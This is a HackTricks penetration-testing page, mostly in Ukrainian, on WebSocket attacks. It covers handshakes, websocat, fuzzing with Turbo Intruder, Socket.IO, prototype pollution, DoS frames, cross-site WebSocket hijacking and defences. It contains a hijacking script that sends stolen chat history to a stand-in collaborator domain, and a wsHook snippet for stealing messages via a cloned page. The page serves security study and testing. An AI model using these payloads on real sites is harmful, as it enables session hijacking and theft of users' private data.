Атаки WebSocket
Reading time: 14 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Що таке WebSockets
WebSocket-з'єднання встановлюються через початкове HTTP рукопотискання і розраховані на довготривалу роботу, дозволяючи здійснювати двосторонній обмін повідомленнями в будь-який час без потреби в транзакційній моделі. Це робить WebSockets особливо корисними для застосунків, що потребують низької затримки або комунікації, ініційованої сервером, наприклад потокових даних фінансових ринків в реальному часі.
Встановлення WebSocket-з'єднань
Детальне пояснення щодо встановлення WebSocket-з'єднань доступне тут. У підсумку, WebSocket-з'єднання зазвичай ініціюються на стороні клієнта за допомогою JavaScript, як показано нижче:
var ws = new WebSocket("wss://normal-website.com/ws")
Протокол wss
означає WebSocket-з'єднання, захищене за допомогою TLS, тоді як ws
позначає незашифроване з'єднання.
Під час встановлення з'єднання виконується рукопотискання між браузером і сервером по HTTP. Процес рукопотискання передбачає, що браузер надсилає запит, а сервер відповідає, як показано в наведених прикладах:
Браузер надсилає запит рукопотискання:
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
Відповідь сервера на handshake:
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
Після встановлення з'єднання воно залишається відкритим для обміну повідомленнями в обох напрямках.
Ключові моменти WebSocket handshake:
- Заголовки
Connection
таUpgrade
сигналізують про початок WebSocket handshake. - Заголовок
Sec-WebSocket-Version
вказує бажану версію протоколу WebSocket, зазвичай13
. - У заголовку
Sec-WebSocket-Key
надсилається випадкове значення, закодоване в Base64, що гарантує унікальність кожного handshake і допомагає запобігти проблемам із кешуючими проксі. Це значення не призначене для аутентифікації, а підтверджує, що відповідь не згенерована неправильно налаштованим сервером або кешем. - Заголовок
Sec-WebSocket-Accept
у відповіді сервера є хешем відSec-WebSocket-Key
, що підтверджує намір сервера відкрити WebSocket-з'єднання.
Ці механізми забезпечують безпечний і надійний процес встановлення з'єднання, що створює підґрунтя для ефективної комунікації в реальному часі.
Консоль Linux
Ви можете використати websocat
для встановлення сирого з'єднання з websocket.
websocat --insecure wss://10.10.10.10:8000 -v
Або створити сервер websocat:
websocat -s 0.0.0.0:8000 #Listen in port 8000
MitM websocket з'єднання
Якщо ви виявите, що клієнти підключені до HTTP websocket через вашу поточну локальну мережу ви можете спробувати ARP Spoofing Attack щоб виконати MitM attack між клієнтом та сервером.
Коли клієнт намагатиметься підключитися до вас, ви зможете використати:
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
Перерахування Websockets
Ви можете використовувати інструмент https://github.com/PalindromeLabs/STEWS щоб автоматично виявляти, fingerprint і шукати відомі вразливості у websockets.
Інструменти налагодження Websocket
- Burp Suite підтримує MitM websockets-комунікацію дуже схожим чином, як і для звичайного HTTP.
- Розширення socketsleuth для Burp Suite дозволяє краще керувати Websocket-комунікаціями в Burp, отримуючи history, встановлюючи interception rules, використовуючи правила match and replace, а також Intruder і AutoRepeater.
- WSSiP: Скорочення від "WebSocket/Socket.io Proxy". Цей інструмент, написаний на Node.js, надає інтерфейс користувача для capture, intercept, send custom повідомлень та перегляду всіх WebSocket і Socket.IO комунікацій між клієнтом і сервером.
- wsrepl — interactive websocket REPL, спроектований спеціально для penetration testing. Надає інтерфейс для спостереження за incoming websocket messages and sending new ones, з простим фреймворком для automating цієї комунікації.
- https://websocketking.com/ — це веб-інструмент для спілкування з іншими вебсайтами, використовуючи websockets.
- https://hoppscotch.io/realtime/websocket — серед інших типів комунікацій/протоколів, надає веб-інструмент для спілкування з іншими вебсайтами, використовуючи websockets.
Дешифрування Websocket
Лабораторія Websocket
У Burp-Suite-Extender-Montoya-Course є код для запуску веб-додатку, що використовує websockets, а в this post можна знайти пояснення.
Websocket Fuzzing
Розширення Burp Backslash Powered Scanner тепер дозволяє fuzz також WebSocket-повідомлення. Більше інформації можна прочитати тут.
WebSocket Turbo Intruder (розширення Burp)
WebSocket Turbo Intruder від PortSwigger додає Turbo Intruder–style Python скриптинг і high‑rate fuzzing до WebSockets. Встановіть його з BApp Store або з джерел. Він містить два компоненти:
- Turbo Intruder: high‑volume messaging до одного WS endpoint із використанням custom engines.
- HTTP Middleware: відкриває локальний HTTP endpoint, який пересилає тіла як WS‑повідомлення через постійне з'єднання, тож будь-який HTTP‑базований сканер може перевіряти WS бекенди.
Базовий шаблон скрипта для fuzzing WS endpoint і фільтрації релевантних відповідей:
def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(upgrade_request)
for i in range(10):
connection.queue(message, str(i))
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@MatchRegex(r'{\"user\":\"Hal Pline\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
Використовуйте декоратори на кшталт @MatchRegex(...)
, щоб зменшити шум, коли одне повідомлення викликає кілька відповідей.
Міст WS за HTTP (HTTP Middleware)
Огорніть постійне WS-з'єднання та пересилайте HTTP-тіла як WS-повідомлення для автоматизованого тестування за допомогою HTTP-сканерів:
def create_connection(upgrade_request):
connection = websocket_connection.create(upgrade_request)
return connection
@MatchRegex(r'{\"user\":\"You\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
Потім надішліть HTTP локально; тіло пересилається як WS-повідомлення:
POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 16
{"message":"hi"}
Це дозволяє керувати WS-бекендами, одночасно фільтруючи “цікаві” події (наприклад, SQLi errors, auth bypass, command injection behavior).
Socket.IO обробка (handshake, heartbeats, events)
Socket.IO додає власну фреймінгову обгортку поверх WS. Виявляйте це за обов'язковим параметром запиту EIO
(наприклад, EIO=4
). Підтримуйте сесію живою за допомогою Ping (2
) і Pong (3
) та починайте розмову з "40"
, потім відправляйте події, наприклад 42["message","hello"]
.
Intruder example:
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.queue('42["message","hello"]')
@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
HTTP варіант адаптера:
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
def create_connection(upgrade_request):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.decIn()
return connection
@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
Виявлення server‑side prototype pollution через Socket.IO
Дотримуючись безпечної методики виявлення PortSwigger, спробуйте викликати prototype pollution у внутрішніх структурах Express, відправивши payload, наприклад:
{"__proto__":{"initialPacket":"Polluted"}}
If greetings or behavior change (e.g., echo includes "Polluted"), you likely polluted server-side prototypes. Impact depends on reachable sinks; correlate with the gadgets in the Node.js prototype pollution section. See:
- Check NodeJS – proto & prototype Pollution for sinks/gadgets and chaining ideas.
WebSocket race conditions with Turbo Intruder
The default engine batches messages on one connection (great throughput, poor for races). Use the THREADED engine to spawn multiple WS connections and fire payloads in parallel to trigger logic races (double‑spend, token reuse, state desync). Start from the example script and tune concurrency in config()
.
- Learn methodology and alternatives in Race Condition (see “RC in WebSockets”).
WebSocket DoS: malformed frame “Ping of Death”
Craft WS frames whose header declares a huge payload length but send no body. Some WS servers trust the length and pre‑allocate buffers; setting it near Integer.MAX_VALUE
can cause Out‑Of‑Memory and a remote unauth DoS. See the example script.
CLI and debugging
- Headless fuzzing:
java -jar WebSocketFuzzer-<version>.jar <scriptFile> <requestFile> <endpoint> <baseInput>
- Enable the WS Logger to capture and correlate messages using internal IDs.
- Use
inc*
/dec*
helpers onConnection
to tweak message ID handling in complex adapters. - Decorators like
@PingPong
/@Pong
and helpers likeisInteresting()
reduce noise and keep sessions alive.
Operational safety
High‑rate WS fuzzing can open many connections and send thousands of messages per second. Malformed frames and high rates may cause real DoS. Use only where permitted.
Cross-site WebSocket hijacking (CSWSH)
Cross-site WebSocket hijacking, also known as cross-origin WebSocket hijacking, is identified as a specific case of Cross-Site Request Forgery (CSRF) affecting WebSocket handshakes. This vulnerability arises when WebSocket handshakes authenticate solely via HTTP cookies without CSRF tokens or similar security measures.
Attackers can exploit this by hosting a malicious web page that initiates a cross-site WebSocket connection to a vulnerable application. Consequently, this connection is treated as part of the victim's session with the application, exploiting the lack of CSRF protection in the session handling mechanism.
In order for this attack to work, these are the requirements:
- The websocket authentication must be cookie based
- The cookie must be accessible from the attackers server (this usually means
SameSite=None
) and no Firefox Total Cookie Protection enabled in Firefox and no blocked third-party cookies in Chrome. - The websocket server must not check the origin of the connection (or this must be bypasseable)
Also:
- If the authentication is based on a local connection (to localhost or to a local network) the attack will be possible as no current protection forbids it (check more info here)
Simple Attack
Зверніть увагу, що під час встановлення websocket з'єднання cookie надсилається на сервер. server може використовувати його, щоб зв'язати кожного конкретного user з його websocket session based on the sent cookie.
Then, if for example the websocket server sends back the history of the conversation of a user if a msg with "READY" is sent, then a simple XSS establishing the connection (the cookie will be sent automatically to authorise the victim user) sending "READY" will be able to retrieve the history of the conversation.:
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
Cross Origin + Cookie з іншим subdomain
У цій публікації в блозі https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ зловмисник зміг execute arbitrary Javascript in a subdomain домену, де відбувалася web socket communication. Оскільки це був subdomain, cookie відправлявся, а через те, що Websocket didn't check the Origin properly, стало можливим взаємодіяти з ним і steal tokens from it.
Викрадення даних користувача
Скопіюйте веб-застосунок, який ви хочете імітувати (наприклад, файли .html) і всередині скрипта, де відбувається websocket communication, додайте цей код:
//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>
//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}
Тепер завантажте файл wsHook.js
з https://github.com/skepticfx/wshook і збережіть його в папці з веб-файлами.
Розкривши веб-додаток і змусивши користувача підключитися до нього, ви зможете вкрасти відправлені та отримані повідомлення через websocket:
sudo python3 -m http.server 80
Захист від CSWSH
Атака CSWSH базується на тому, що користувач підключиться до шкідливої сторінки, яка відкриє websocket connection до веб-сторінки, де користувач вже автентифікований, і виконає автентифікацію від його імені, оскільки запит надішле cookies користувача.
На сьогодні це досить просто запобігти:
- Websocket server checking the origin: websocket server повинен завжди перевіряти, звідки підключається користувач, щоб запобігти підключенню непередбачених сторінок.
- Authentication token: Замість базування автентифікації на cookie, websocket connection може базуватися на токені, який генерується сервером для користувача і невідомий атакуючому (наприклад, як anti-CSRF token).
- SameSite Cookie attribute: Cookies зі значенням
SameSite
Lax
абоStrict
не будуть надсилатися зі сторінки зовнішнього атакувальника до сервера жертви, тому автентифікація на основі cookie не спрацює. Зауважте, що Chrome тепер встановлює значенняLax
для cookie, якщо цей флаг не вказано, роблячи це більш безпечним за замовчуванням. Однак протягом перших 2 хвилин після створення cookie воно матиме значенняNone
, що робить його вразливим у цей обмежений період часу (також очікується, що цей захід колись буде видалений). - Firefox Total Cookie Protection: Total Cookie Protection працює шляхом ізоляції cookie сайту, на якому вони створені. По суті, кожен сайт має власний розділ сховища cookie, щоб запобігти зв'язуванню історії перегляду користувача третіми сторонами. Це робить CSWSH unusable, оскільки сайт атакуючого не матиме доступу до cookie.
- Chrome third-party cookies block: Це також може запобігти відправленню cookie автентифікованого користувача до websocket server навіть при
SameSite=None
.
Race Conditions
Race Conditions у WebSockets також трапляються, перегляньте цю інформацію, щоб дізнатися більше.
Інші вразливості
Оскільки Web Sockets — це механізм для надсилання даних на серверну та клієнтську частини, залежно від того, як сервер і клієнт обробляють інформацію, Web Sockets можуть бути використані для експлуатації інших вразливостей, таких як XSS, SQLi або будь-які інші поширені веб-вразливості, використовуючи введення користувача через websocket.
WebSocket Smuggling
Ця вразливість може дозволити вам bypass reverse proxies restrictions, змусивши їх повірити, що websocket communication was stablished (навіть якщо це не так). Це може дозволити атакуючому access hidden endpoints. Для детальнішої інформації перегляньте наступну сторінку:
Посилання
- https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages
- https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/
- WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine
- WebSocket Turbo Intruder – BApp Store
- WebSocketTurboIntruder – GitHub
- Turbo Intruder background
- Server-side prototype pollution – safe detection methods
- WS RaceCondition PoC (Java)
- RaceConditionExample.py
- PingOfDeathExample.py
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.